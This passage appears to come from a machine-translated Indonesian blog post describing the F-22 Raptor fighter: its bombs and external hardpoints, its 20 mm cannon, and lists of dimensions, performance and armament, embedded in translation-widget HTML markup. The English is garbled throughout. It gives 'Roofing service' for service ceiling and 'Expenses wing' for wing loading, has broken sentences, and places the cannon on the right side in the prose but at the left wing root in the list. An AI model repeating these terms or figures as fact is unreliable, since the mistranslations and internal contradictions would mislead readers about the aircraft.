untuk terjemahan alternatif">This aircraft</span> <span class="hps" title="Klik untuk terjemahan alternatif">could also</span> <span class="hps" title="Klik untuk terjemahan alternatif">carry</span> <span class="hps" title="Klik untuk terjemahan alternatif">bombs</span> <span class="hps" title="Klik untuk terjemahan alternatif">such as</span> <span class="hps" title="Klik untuk terjemahan alternatif">Joint</span> <span class="hps" title="Klik untuk terjemahan alternatif">Direct</span> <span class="hps" title="Klik untuk terjemahan alternatif">Attack</span> <span class="hps" title="Klik untuk terjemahan alternatif">Munition</span> <span class="hps atn" title="Klik untuk terjemahan alternatif">(</span><span title="Klik untuk terjemahan alternatif">JDAM</span><span title="Klik
untuk terjemahan alternatif">)</span> <span class="hps" title="Klik untuk terjemahan
alternatif">and</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Small</span><span class="atn" title="Klik untuk terjemahan
alternatif">-</span><span title="Klik untuk terjemahan
alternatif">Diameter</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Bomb</span> <span class="hps atn" title="Klik untuk terjemahan
alternatif">(</span><span title="Klik untuk terjemahan
alternatif">SDB</span><span title="Klik untuk terjemahan alternatif">)</span> <span class="hps" title="Klik untuk terjemahan alternatif">is</span> <span class="hps" title="Klik untuk terjemahan alternatif">more recent</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">In addition to</span> <span class="hps" title="Klik untuk terjemahan alternatif">internal</span> <span class="hps" title="Klik untuk terjemahan alternatif">storage</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">this</span> <span class="hps" title="Klik
untuk terjemahan alternatif">aircraft</span> <span class="hps" title="Klik untuk terjemahan alternatif">can also</span> <span class="hps" title="Klik untuk terjemahan alternatif">carry</span> <span class="hps" title="Klik untuk terjemahan alternatif">weapons</span> <span class="hps" title="Klik untuk terjemahan alternatif">on four</span> <span class="hps" title="Klik untuk terjemahan alternatif">external</span> <span class="hps" title="Klik untuk terjemahan alternatif">points</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">but</span> <span class="hps" title="Klik
untuk terjemahan alternatif">if</span> <span class="hps" title="Klik
untuk terjemahan alternatif">it</span> <span class="hps" title="Klik
untuk terjemahan alternatif">is used</span> <span class="hps" title="Klik untuk terjemahan alternatif">will greatly</span> <span class="hps" title="Klik untuk terjemahan alternatif">reduce the ability of</span> <span class="hps" title="Klik untuk terjemahan alternatif">stealth</span><span title="Klik untuk terjemahan alternatif">, speed</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">agility</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">For</span> <span class="hps" title="Klik
untuk terjemahan alternatif">backup</span> <span class="hps" title="Klik
untuk terjemahan alternatif">guns</span><span title="Klik
untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">F</span><span title="Klik untuk terjemahan
alternatif">-22</span> <span class="hps" title="Klik untuk terjemahan alternatif">carrying</span> <span class="hps" title="Klik untuk terjemahan
alternatif">automatic</span> <span class="hps" title="Klik untuk
terjemahan alternatif">cannon</span> <span class="hps" title="Klik untuk
terjemahan alternatif">M61A2</span> <span class="hps" title="Klik untuk
terjemahan alternatif">Vulcan 20</span> <span class="hps" title="Klik
untuk terjemahan alternatif">mm</span> <span class="hps" title="Klik
untuk terjemahan alternatif">stored</span> <span class="hps" title="Klik
untuk terjemahan alternatif">in</span> <span class="hps" title="Klik
untuk terjemahan alternatif">the right side of</span> <span class="hps" title="Klik untuk terjemahan alternatif">the aircraft</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">the gun was</span> <span class="hps" title="Klik untuk terjemahan alternatif">carrying</span> <span class="hps" title="Klik untuk terjemahan alternatif">480</span> <span class="hps" title="Klik untuk terjemahan alternatif">rounds</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">and will be</span> <span class="hps" title="Klik untuk terjemahan alternatif">discharged</span> <span class="hps" title="Klik untuk terjemahan alternatif">if</span> <span class="hps" title="Klik untuk terjemahan alternatif">fired</span> <span class="hps" title="Klik untuk terjemahan alternatif">continuously</span> <span class="hps" title="Klik untuk terjemahan alternatif">for about</span> <span class="hps" title="Klik untuk terjemahan alternatif">five</span> <span class="hps" title="Klik untuk terjemahan alternatif">seconds</span><span class="" title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">Nevertheless</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">the F</span><span title="Klik
untuk terjemahan alternatif">-22</span> <span class="hps" title="Klik untuk
terjemahan alternatif">can</span> <span class="hps" title="Klik untuk
terjemahan alternatif">use</span> <span class="hps" title="Klik untuk
terjemahan alternatif">this gun</span> <span class="hps" title="Klik
untuk terjemahan alternatif">when the fight</span> <span class="hps" title="Klik untuk terjemahan alternatif">without being detected</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">which</span> <span class="hps" title="Klik untuk terjemahan alternatif">will be needed</span> <span class="hps" title="Klik untuk terjemahan alternatif">when the</span> <span class="hps" title="Klik untuk terjemahan alternatif">missile</span> <span class="hps" title="Klik untuk terjemahan alternatif">is up</span><span class="" title="Klik untuk terjemahan alternatif">.</span></span><span class="" id="result_box" lang="en"><span class="hps" title="Klik untuk terjemahan alternatif"> </span></span><br />
<span class="" id="result_box" lang="en"><span class="hps" title="Klik untuk terjemahan alternatif"><br />
</span></span><br />
<span class="" id="result_box" lang="en"><span class="hps" title="Klik untuk
terjemahan alternatif">general characteristics</span><br />
<br />
<span class="hps" title="Klik untuk terjemahan alternatif">*</span> <span class="hps" title="Klik untuk terjemahan alternatif">Crew:</span> <span class="hps" title="Klik untuk terjemahan alternatif">1</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">*</span> <span class="hps" title="Klik untuk terjemahan alternatif">Length</span><span title="Klik untuk terjemahan alternatif">: 62</span> <span class="hps" title="Klik
untuk terjemahan alternatif">feet</span> <span class="hps" title="Klik
untuk terjemahan alternatif">1 in.</span> <span class="hps atn" title="Klik
untuk terjemahan alternatif">(</span><span title="Klik
untuk terjemahan alternatif">18.90</span> <span class="hps" title="Klik untuk
terjemahan alternatif">m</span><span title="Klik untuk
terjemahan alternatif">)</span><br />
<span class="hps" title="Klik untuk
terjemahan alternatif">*</span> <span class="hps" title="Klik untuk
terjemahan alternatif">Wingspan</span><span title="Klik
untuk terjemahan alternatif">: 44</span> <span class="hps" title="Klik untuk
terjemahan alternatif">ft 6 in</span> <span class="hps" title="Klik
untuk terjemahan alternatif">(13.56</span> <span class="hps" title="Klik
untuk terjemahan alternatif">m</span><span title="Klik
untuk terjemahan alternatif">)</span><br />
<span class="hps" title="Klik untuk
terjemahan alternatif">*</span> <span class="hps" title="Klik untuk
terjemahan alternatif">Height</span><span title="Klik untuk
terjemahan alternatif">: 16</span> <span class="hps" title="Klik untuk terjemahan
alternatif">ft 8 in</span> <span class="hps" title="Klik untuk
terjemahan alternatif">(5.08</span> <span class="hps" title="Klik untuk
terjemahan alternatif">m</span><span title="Klik untuk
terjemahan alternatif">)</span><br />
<span class="hps" title="Klik untuk
terjemahan alternatif">*</span> <span class="hps" title="Klik untuk
terjemahan alternatif">Wing area</span><span title="Klik
untuk terjemahan alternatif">: 840</span> <span class="hps" title="Klik untuk
terjemahan alternatif">ft ²</span> <span class="hps atn" title="Klik untuk
terjemahan alternatif">(</span><span title="Klik untuk
terjemahan alternatif">78.04</span> <span class="hps" title="Klik untuk terjemahan
alternatif">m²</span><span title="Klik untuk terjemahan
alternatif">)</span><br />
<span class="hps" title="Klik untuk terjemahan
alternatif">*</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Airfoil</span><span title="Klik untuk terjemahan
alternatif">:</span> <span class="hps" title="Klik untuk terjemahan alternatif">NACA</span> <span class="hps" title="Klik untuk terjemahan alternatif">64A</span><span title="Klik untuk terjemahan alternatif">?</span> <span class="hps" title="Klik untuk terjemahan alternatif">05.92</span> <span class="hps" title="Klik untuk terjemahan alternatif">root</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">NACA</span> <span class="hps" title="Klik
untuk terjemahan alternatif">64A</span><span title="Klik
untuk terjemahan alternatif">?</span> <span class="hps" title="Klik untuk terjemahan
alternatif">04.29</span> <span class="hps" title="Klik untuk terjemahan
alternatif">tip</span><br />
<span class="hps" title="Klik untuk
terjemahan alternatif">*</span> <span class="hps" title="Klik untuk
terjemahan alternatif">Empty weight</span><span title="Klik
untuk terjemahan alternatif">:</span> <span class="hps" title="Klik untuk terjemahan
alternatif">31,670</span> <span class="hps" title="Klik untuk
terjemahan alternatif">lb</span> <span class="hps atn" title="Klik untuk
terjemahan alternatif">(</span><span title="Klik untuk
terjemahan alternatif">14,365</span> <span class="hps" title="Klik untuk terjemahan
alternatif">kg</span><span title="Klik untuk terjemahan
alternatif">)</span><br />
<span class="hps" title="Klik untuk terjemahan
alternatif">*</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Weight</span> <span class="hps" title="Klik untuk terjemahan
alternatif">loaded</span><span title="Klik untuk terjemahan
alternatif">:</span> <span class="hps" title="Klik untuk terjemahan alternatif">55,352</span> <span class="hps" title="Klik untuk terjemahan alternatif">lb</span> <span class="hps atn" title="Klik untuk terjemahan alternatif">(</span><span title="Klik untuk terjemahan alternatif">25,107</span> <span class="hps" title="Klik untuk terjemahan alternatif">kg</span><span title="Klik untuk terjemahan alternatif">)</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">*</span> <span class="hps" title="Klik untuk terjemahan alternatif">Maximum</span> <span class="hps" title="Klik untuk terjemahan alternatif">takeoff</span> <span class="hps" title="Klik untuk terjemahan alternatif">weight</span><span title="Klik untuk terjemahan alternatif">: 80,000</span> <span class="hps" title="Klik untuk terjemahan alternatif">lb</span> <span class="hps atn" title="Klik untuk terjemahan alternatif">(</span><span title="Klik untuk terjemahan alternatif">36,288</span> <span class="hps" title="Klik
untuk terjemahan alternatif">kg</span><span title="Klik
untuk terjemahan alternatif">)</span><br />
<span class="hps" title="Klik untuk
terjemahan alternatif">*</span> <span class="hps" title="Klik untuk
terjemahan alternatif">Engine:</span> <span class="hps" title="Klik
untuk terjemahan alternatif">2 ×</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Pratt</span> <span class="hps" title="Klik
untuk terjemahan alternatif">&</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Whitney</span> <span class="hps" title="Klik untuk terjemahan alternatif">F119</span><span class="atn" title="Klik untuk terjemahan alternatif">-</span><span title="Klik untuk terjemahan alternatif">PW</span><span title="Klik
untuk terjemahan alternatif">-100</span> <span class="hps" title="Klik untuk
terjemahan alternatif">turbofan</span> <span class="hps" title="Klik
untuk terjemahan alternatif">thrust</span> <span class="hps" title="Klik
untuk terjemahan alternatif">pitch</span> <span class="hps" title="Klik
untuk terjemahan alternatif">steering</span><span title="Klik untuk terjemahan alternatif">, 35,000</span> <span class="hps" title="Klik untuk terjemahan alternatif">lb</span> <span class="hps atn" title="Klik untuk terjemahan alternatif">(</span><span title="Klik untuk terjemahan alternatif">155.7</span> <span class="hps" title="Klik
untuk terjemahan alternatif">kN</span><span title="Klik
untuk terjemahan alternatif">) each</span><br />
<br />
<span class="hps" title="Klik
untuk terjemahan alternatif">performance</span><br />
<br />
<span class="hps" title="Klik untuk terjemahan alternatif">*</span> <span class="hps" title="Klik untuk terjemahan alternatif">Maximum speed</span><span title="Klik untuk terjemahan alternatif">:</span> <span class="hps" title="Klik
untuk terjemahan alternatif">≈</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Mach</span> <span class="hps" title="Klik
untuk terjemahan alternatif">2.42</span> <span class="hps atn" title="Klik
untuk terjemahan alternatif">(</span><span title="Klik
untuk terjemahan alternatif">2575</span> <span class="hps" title="Klik untuk
terjemahan alternatif">km</span> <span class="hps" title="Klik untuk
terjemahan alternatif">/ h</span><span title="Klik untuk
terjemahan alternatif">)</span> <span class="hps" title="Klik untuk terjemahan
alternatif">at</span> <span class="hps" title="Klik untuk terjemahan
alternatif">altituda</span> <span class="hps" title="Klik untuk
terjemahan alternatif">/</span> <span class="hps" title="Klik untuk
terjemahan alternatif">high</span> <span class="hps" title="Klik untuk
terjemahan alternatif">altitude</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">*</span> <span class="hps" title="Klik untuk terjemahan alternatif">Cruise speed</span><span title="Klik untuk terjemahan alternatif">:</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Mach</span> <span class="hps" title="Klik
untuk terjemahan alternatif">1.72</span> <span class="hps atn" title="Klik
untuk terjemahan alternatif">(</span><span title="Klik
untuk terjemahan alternatif">1825</span> <span class="hps" title="Klik untuk
terjemahan alternatif">km</span> <span class="hps" title="Klik untuk
terjemahan alternatif">/</span> <span class="hps" title="Klik untuk
terjemahan alternatif">h)</span> <span class="hps" title="Klik untuk
terjemahan alternatif">at</span> <span class="hps" title="Klik untuk
terjemahan alternatif">altituda</span> <span class="hps" title="Klik
untuk terjemahan alternatif">/</span> <span class="hps" title="Klik
untuk terjemahan alternatif">high</span> <span class="hps" title="Klik
untuk terjemahan alternatif">altitude</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">*</span> <span class="hps" title="Klik untuk terjemahan alternatif">Distance</span> <span class="hps" title="Klik untuk terjemahan alternatif">coverage</span> <span class="hps" title="Klik untuk terjemahan alternatif">Ferry</span><span title="Klik untuk terjemahan alternatif">: 2,000</span> <span class="hps atn" title="Klik untuk terjemahan alternatif">mi (</span><span title="Klik untuk terjemahan alternatif">1738</span> <span class="hps" title="Klik
untuk terjemahan alternatif">nm</span><span title="Klik
untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">3219</span> <span class="hps" title="Klik untuk terjemahan
alternatif">km</span><span title="Klik untuk terjemahan
alternatif">)</span><br />
<span class="hps" title="Klik untuk terjemahan
alternatif">*</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Roofing</span> <span class="hps" title="Klik untuk
terjemahan alternatif">service</span><span title="Klik untuk
terjemahan alternatif">: 65,000</span> <span class="hps atn" title="Klik untuk
terjemahan alternatif">feet (</span><span title="Klik
untuk terjemahan alternatif">19,812</span> <span class="hps" title="Klik untuk
terjemahan alternatif">m</span><span title="Klik untuk
terjemahan alternatif">)</span><br />
<span class="hps" title="Klik untuk
terjemahan alternatif">*</span> <span class="hps" title="Klik untuk
terjemahan alternatif">Rate of climb</span><span title="Klik
untuk terjemahan alternatif">:</span> <span class="hps" title="Klik untuk
terjemahan alternatif">a secret</span> <span class="hps atn" title="Klik
untuk terjemahan alternatif">(</span><span title="Klik
untuk terjemahan alternatif">not generally known</span><span title="Klik
untuk terjemahan alternatif">)</span><br />
<span class="hps" title="Klik untuk
terjemahan alternatif">*</span> <span class="hps" title="Klik untuk
terjemahan alternatif">Expenses</span> <span class="hps" title="Klik
untuk terjemahan alternatif">wing</span><span title="Klik
untuk terjemahan alternatif">: 66</span> <span class="hps" title="Klik untuk
terjemahan alternatif">lb</span> <span class="hps" title="Klik untuk
terjemahan alternatif">/</span> <span class="hps" title="Klik untuk
terjemahan alternatif">ft ²</span> <span class="hps" title="Klik untuk
terjemahan alternatif">(322</span> <span class="hps" title="Klik untuk
terjemahan alternatif">kg</span> <span class="hps" title="Klik untuk
terjemahan alternatif">/</span> <span class="hps" title="Klik untuk
terjemahan alternatif">m²</span><span title="Klik untuk
terjemahan alternatif">)</span><br />
<span class="hps" title="Klik untuk
terjemahan alternatif">*</span> <span class="hps" title="Klik untuk
terjemahan alternatif">Thrust</span> <span class="hps" title="Klik untuk
terjemahan alternatif">/ weight</span><span title="Klik
untuk terjemahan alternatif">:</span> <span class="hps" title="Klik untuk terjemahan
alternatif">1.26</span><br />
<span class="hps" title="Klik untuk
terjemahan alternatif">*</span> <span class="hps" title="Klik untuk
terjemahan alternatif">Maximum</span> <span class="hps" title="Klik
untuk terjemahan alternatif">g</span><span class="atn" title="Klik untuk
terjemahan alternatif">-</span><span title="Klik untuk
terjemahan alternatif">load</span><span title="Klik untuk terjemahan
alternatif">:</span> <span class="hps" title="Klik untuk terjemahan alternatif">-3 /</span> <span class="hps" title="Klik untuk terjemahan alternatif">+9</span> <span class="hps" title="Klik untuk terjemahan alternatif">g</span><br />
<br />
<span class="hps" title="Klik untuk terjemahan
alternatif">armament</span><br />
<br />
<span class="hps" title="Klik
untuk terjemahan alternatif">*</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Cannon</span><span title="Klik
untuk terjemahan alternatif">: 1</span> <span class="hps" title="Klik untuk
terjemahan alternatif">×</span> <span class="hps" title="Klik untuk
terjemahan alternatif">20 mm</span> <span class="hps atn" title="Klik untuk
terjemahan alternatif">(</span><span title="Klik untuk
terjemahan alternatif">0.787</span> <span class="hps" title="Klik untuk terjemahan
alternatif">in)</span> <span class="hps" title="Klik untuk terjemahan
alternatif">M61A2</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Vulcan</span> <span class="hps" title="Klik untuk terjemahan
alternatif">gatling</span> <span class="hps" title="Klik untuk
terjemahan alternatif">gun</span> <span class="hps" title="Klik untuk
terjemahan alternatif">at the base of</span> <span class="hps" title="Klik untuk terjemahan alternatif">the left wing</span><span title="Klik untuk terjemahan alternatif">, 480</span> <span class="hps" title="Klik
untuk terjemahan alternatif">rounds of ammunition</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">*</span> <span class="hps" title="Klik untuk terjemahan alternatif">Air</span> <span class="hps" title="Klik untuk terjemahan alternatif">to</span> <span class="hps" title="Klik untuk terjemahan alternatif">Air</span><span title="Klik untuk terjemahan alternatif">:</span><br />
<br />
<span class="hps" title="Klik untuk terjemahan alternatif">*</span> <span class="hps" title="Klik untuk terjemahan alternatif">6 ×</span> <span class="hps" title="Klik untuk terjemahan alternatif">AIM</span><span title="Klik untuk terjemahan alternatif">-120</span> <span class="hps" title="Klik
untuk terjemahan alternatif">AMRAAM</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">* 2</span> <span class="hps" title="Klik untuk terjemahan alternatif">×</span> <span class="hps" title="Klik untuk terjemahan alternatif">AIM</span><span title="Klik untuk terjemahan alternatif">-9</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Sidewinder</span><br />
<br />
<span class="hps" title="Klik untuk terjemahan alternatif">*</span> <span class="hps" title="Klik untuk terjemahan alternatif">Air</span> <span class="hps" title="Klik untuk terjemahan alternatif">to</span> <span class="hps" title="Klik untuk terjemahan alternatif">ground</span><span title="Klik untuk terjemahan alternatif">:</span><br />
<br />
<span class="hps" title="Klik untuk terjemahan alternatif">* 2</span> <span class="hps" title="Klik untuk terjemahan alternatif">×</span> <span class="hps" title="Klik untuk terjemahan alternatif">AIM</span><span title="Klik untuk terjemahan alternatif">-120</span> <span class="hps" title="Klik
untuk terjemahan alternatif">AMRAAM</span> <span class="hps" title="Klik
untuk terjemahan alternatif">and</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">* 2</span> <span class="hps" title="Klik untuk terjemahan alternatif">×</span> <span class="hps" title="Klik untuk terjemahan alternatif">AIM</span><span title="Klik untuk terjemahan alternatif">-9</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Sidewinder</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">one of</span><span title="Klik untuk terjemahan alternatif">:</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">o</span> <span class="hps" title="Klik untuk terjemahan alternatif">2 ×</span> <span class="hps" title="Klik untuk terjemahan alternatif">1000</span> <span class="hps" title="Klik untuk terjemahan alternatif">lb</span> <span class="hps" title="Klik untuk terjemahan alternatif">JDAM</span> <span class="hps" title="Klik untuk terjemahan alternatif">or</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">o</span> <span class="hps" title="Klik untuk terjemahan alternatif">Wind</span> <span class="hps" title="Klik untuk terjemahan alternatif">Corrected</span> <span class="hps" title="Klik untuk terjemahan alternatif">Munitions</span> <span class="hps" title="Klik untuk terjemahan alternatif">2 ×</span> <span class="hps" title="Klik untuk terjemahan alternatif">Dispensers</span> <span class="hps atn" title="Klik untuk terjemahan alternatif">(</span><span title="Klik untuk terjemahan alternatif">WCMDs</span><span title="Klik
untuk terjemahan alternatif">)</span> <span class="hps" title="Klik untuk terjemahan
alternatif">or</span><br />
<span class="hps" title="Klik untuk
terjemahan alternatif">o</span> <span class="hps" title="Klik untuk
terjemahan alternatif">8</span> <span class="hps" title="Klik untuk
terjemahan alternatif">× 250</span> <span class="hps" title="Klik untuk
terjemahan alternatif">lb</span> <span class="hps" title="Klik untuk
terjemahan alternatif">GBU</span><span title="Klik untuk
terjemahan alternatif">-39</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Small</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Diameter</span> <span class="hps" title="Klik untuk
terjemahan alternatif">Bomb</span></span>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com0